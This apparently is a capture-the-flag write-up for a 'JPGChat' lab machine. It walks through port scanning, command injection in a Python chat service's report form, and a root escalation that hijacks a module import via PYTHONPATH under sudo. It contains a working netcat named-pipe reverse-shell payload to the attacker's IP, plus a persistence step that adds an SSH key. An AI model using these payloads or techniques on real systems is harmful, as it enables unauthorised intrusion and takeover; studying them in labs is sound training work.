Exploiting poorly made custom chatting service written in a certain language...
Enumeration
As usual break out rustscan
and see what we have after adding an extry to /etc/hosts
.
╰─⠠⠵ rustscan -a jpgchat --ulimit 10000 -- -sC -sV -A -oA jpgchat -v
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/tony/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.136.247:22
Open 10.10.136.247:3000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-28 21:46 GMT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
Initiating Ping Scan at 21:46
Scanning 10.10.136.247 [2 ports]
Completed Ping Scan at 21:46, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 21:46
Scanning jpgchat (10.10.136.247) [2 ports]
Discovered open port 3000/tcp on 10.10.136.247
Discovered open port 22/tcp on 10.10.136.247
Completed Connect Scan at 21:46, 0.03s elapsed (2 total ports)
Initiating Service scan at 21:46
Scanning 2 services on jpgchat (10.10.136.247)
Completed Service scan at 21:46, 0.07s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.136.247.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 5.09s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
Nmap scan report for jpgchat (10.10.136.247)
Host is up, received conn-refused (0.031s latency).
Scanned at 2021-02-28 21:46:52 GMT for 6s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXqRxJhw/1rrvXuEkXF+agfTYMZrCisS01Z9EWAv8j6Cxjd00jBeaTGD/OsyuWUGwIqC0duALIIccwQfG2DjyrJCIPYyXyRiTbTSbqe07wX6qnnxV4xBmKdu8SxVlPKqVN36gQtbHWQqk9M45sej0M3Qz2q5ucrQVgWsjxYflYI1GZg7DSuWbI9/GNJPugt96uxupK0pJiJXNG26sM+w0BdF/DHlWFxG0Z+2CMqSlNt4EA2hlgBWKzGxvKbznJsapdtrAvKxBF6WOfz/FdLMQa7f28UOSs2NnUDrpz8Xhdqz2fj8RiV+gnywm8rkIzT8FOcMTGfsvOHoR8lVFvp5mj
| 256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD2CCqg8ac3eDsePDO27TM9OweWbaqytzrMyj+RbwDCHaAmfvhbA0CqTGdTIBAsVG6ect+OlqwgOvmTewS9ihB8=
| 256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIXcEOgRyLk02uwr8mYrmAmFsUGPSUw1MHEDeH5qmcxv
3000/tcp open tcpwrapped syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:46
Completed NSE at 21:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.68 seconds
22/ssh
No username of password so let's skip for now.
3000/JPChat
Poking about can not find anything I can do with the app ....
Establish a foothold and get user.txt
As I found nothing I could do with ssh
or the webapp I headed over to github.com
and did a search
https://github.com/search?q=jpchat&type=repositories
Part way down the search we find the JPChat
repo by Mozzie-jpg
.
Reviewing the source code for a weakness
Let's take a look at the source code and see if we can find an attack vector.
#!/usr/bin/env python3
import os
print ('Welcome to JPChat')
print ('the source code of this service can be found at our admin\'s github')
def report_form():
print ('this report will be read by Mozzie-jpg')
your_name = input('your name:\n')
report_text = input('your report:\n')
os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)
def chatting_service():
print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
message = input('')
if message == '[REPORT]':
report_form()
if message == '[MESSAGE]':
print ('There are currently 0 other users logged in')
while True:
message2 = input('[MESSAGE]: ')
if message2 == '[REPORT]':
report_form()
chatting_service()
Looking at the above we can see the os.system
is used to echo the input from [REPORT]
to a text file. We can see that it is using %s
and there is NO sanitisation of user input, we can exploit this by using ';
to close the echo
command and then run our command followed by #
╰─⠠⠵ nc jpgchat 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[REPORT]
this report will be read by Mozzie-jpg
your name:
'; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.5.198 4444 >/tmp/f #
your report:
'; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.5.198 4444 >/tmp/f #
Listening using nc -lvnp 4444
we get a shell back.
╰─⠠⠵ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.136.247 37922
/bin/sh: 0: can't access tty; job control turned off
$ whoami
wes
From here I add my id_rsa.pub
to /home/wes/.ssh/authorized_keys
so that I can get a stable shell & persistence.
After this we can read user.txt
$ cd /home/wes
$ ls
user.txt
$ cat user.txt
JPC{[REDACTED]}
Escalate your privileges to root and read root.txt
Ok, so first thing is first lets see if we can run anything with sudo
...
$ sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
mail_badpass, env_keep+=PYTHONPATH
User wes may run the following commands on ubuntu-xenial:
(root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py
$
Interesting we can run a test_module.py
and looking at the sudo
command it will keep the environment variable PYTHONPATH
. First thought of maybe editing the script is a no go as it is owned by root
and we only have read access.
$ ls -l /opt/development/test_module.py
-rw-r--r-- 1 root root 93 Jan 15 18:58 /opt/development/test_module.py
Let's take a look at test_module.py
.
#!/usr/bin/env python3
from compare import *
print(compare.Str('hello', 'hello', 'hello'))
Interesting, it is importing the compare
module and then running a print command.
compare.py
Ok, lets create a new python "module" called comapre.py
with the following contents using our trusty old pty
module to spawn a shell.
"""
"""
import pty
pty.spawn("/bin/bash")
exit()
SETENV
As env_keep+=PYTHONPATH
is defined in the sudo
configuration we can use the below to force python to load our compare.py
.
$ export PYTHONPATH=.:$PYTHONPATH
Root
Now we have the above setup we run the python script with sudo
and spawn a root shell.
wes@ubuntu-xenial:~$ sudo /usr/bin/python3 /opt/development/test_module.py
root@ubuntu-xenial:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu-xenial:~# cd /root
root@ubuntu-xenial:/root# ls
root.txt
root@ubuntu-xenial:/root# cat root.txt
JPC{[REDACTED]]}
Also huge shoutout to Westar for the OSINT idea
i wouldn't have used it if it wasnt for him.
and also thank you to Wes and Optional for all the help while developing
You can find some of their work here:
https://github.com/WesVleuten
https://github.com/optionalCTF
Boom, Another room down
Another room down, nice bit of reverse engineering and exploiting a sudo
misconfiguration.